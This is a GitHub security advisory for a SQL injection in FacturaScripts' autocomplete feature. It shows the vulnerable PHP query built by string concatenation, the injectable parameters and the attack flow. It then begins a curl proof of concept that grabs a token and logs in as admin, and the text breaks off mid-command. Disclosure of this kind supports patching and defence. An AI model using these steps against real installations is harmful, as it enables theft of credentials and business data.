GitHub Security Advisory: GHSA-pqqg-5f4f-8952
Package: facturascripts/facturascripts (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Vulnerable versions: < 2025.81
Patched in: 2025.81

Summary: FacturaScripts has SQL Injection in Autocomplete Actions

Details:
### Summary
**FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.

---

### Details

Multiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.

#### Vulnerable Code Location

**File:** `/Core/Model/CodeModel.php`
**Method:** `all()`
**Lines:** 108-109

```php
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}
```

#### Vulnerable Parameters

The following parameters are vulnerable to SQL Injection:

1. **`source`** → Maps to `$tableName` - Table name injection
2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection
3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector)

#### Attack Flow

1. Attacker authenticates with valid credentials (any user role)
2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`
3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter
4. Application executes the injected SQL and returns results in JSON format
5. Attacker extracts sensitive data from the database

---

### Proof of Concept (PoC)

#### Prerequisites
- Valid authentication credentials (admin/admin in test instance)
- Access to FacturaScripts web interface

#### Step-by-Step Manual Exploitation (CLI)

Since FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.

**1. Obtain initial token and session cookie:**
FacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.
```bash
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
```

**2. Authenticate (Login):**
Use the saved cookie and the token to log in.
```bash
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoke